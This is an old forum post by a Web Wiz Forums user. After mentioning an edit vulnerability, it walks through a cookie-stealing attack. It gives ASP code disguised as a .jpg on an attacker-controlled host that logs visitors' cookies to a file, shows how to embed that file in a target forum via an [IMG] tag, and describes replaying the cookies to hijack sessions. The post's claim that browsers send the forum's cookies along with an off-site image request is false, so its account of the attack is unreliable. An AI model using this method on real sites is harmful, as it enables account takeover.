Dear Web Wiz Family, big secure problem.

 First of all, i am very thank full to you about creating a wonderfull forum like this and make it open source. I am using web wiz version 7.9 and dont know the new ones. I have combined my site with web wiz forum and make a good portal. But these days some people (they calls them hacker, i call them dummy person :) is making me sad.  I am searching  about the edit hack. Any user can be edit any message. How this can be happen ? i m searching this right now.

sir, thats the problem. i have many modifications on the asp pages. So i cant directly put the new file. I just need which which code part will solve this edit hack problem.

Sir cookie stealing can be done from everywhere. Just a single image. Hackers executes emages as php or asp files. The just put the image to their server, and use .

Int. browsers are very dummy things, while it was opening this forum and when it tries to open the image it sends currunt cookies to the image also. So its not an image, it will take our cookie. The same way session hijacking is done.

Default mic. IIS doesnt block session hijcakers.  Im thinking about writing an ISAPI filter for that.

Are you sure about that? I m just thinking like that, but you re wrong. This is just a browser fault. Simple cookie stealin method( this subject is not a hacking i tell this to warn you to secure yourself.)

First of all you need to add the ".jpg" extensions will executed by asp.dll. (This will executes jpg files as asp)

You will create a file that has this code and save it on server. Example name: s.jpg
files web adress is like "http://www.example.com/s.jpg"
Sample code:

<%
dim fs, f,x
set fs=Server.CreateObject("Scripting.FileSystemObject")
set x=fs.GetFile(Server.MapPath("ekledik.txt"))

set f=x.OpenAsTextStream(8)
f.WriteLine(request.ServerVariables("HTTP_COOKIE"))
f.Close
set f=nothing
set fs=nothing

%>

you can also do everything in this. Users see this is just an jpg file. And then you will add this code to the forum which you wantted to steal cookies of users. (Simply use [ IMG ] http://www.example.com/s.jpg[/ IMG])

After that the most ugly thing is;
both Mozilla Firefox, and Internet explorer sends the same cookie to server to gather this image when you are browsing to the forum.

You can freely  test this. I will test and see that thats  right. The stealer can connect to forum as you just a cookie editor. He copies the stolen one to his cookie. Than blooooom!


I m using version 7.9 of web wiz. This version is open to this attack. And i modiified the cookie as session objects.




Edited by emr550m - 05 March 2006 at 8:16pm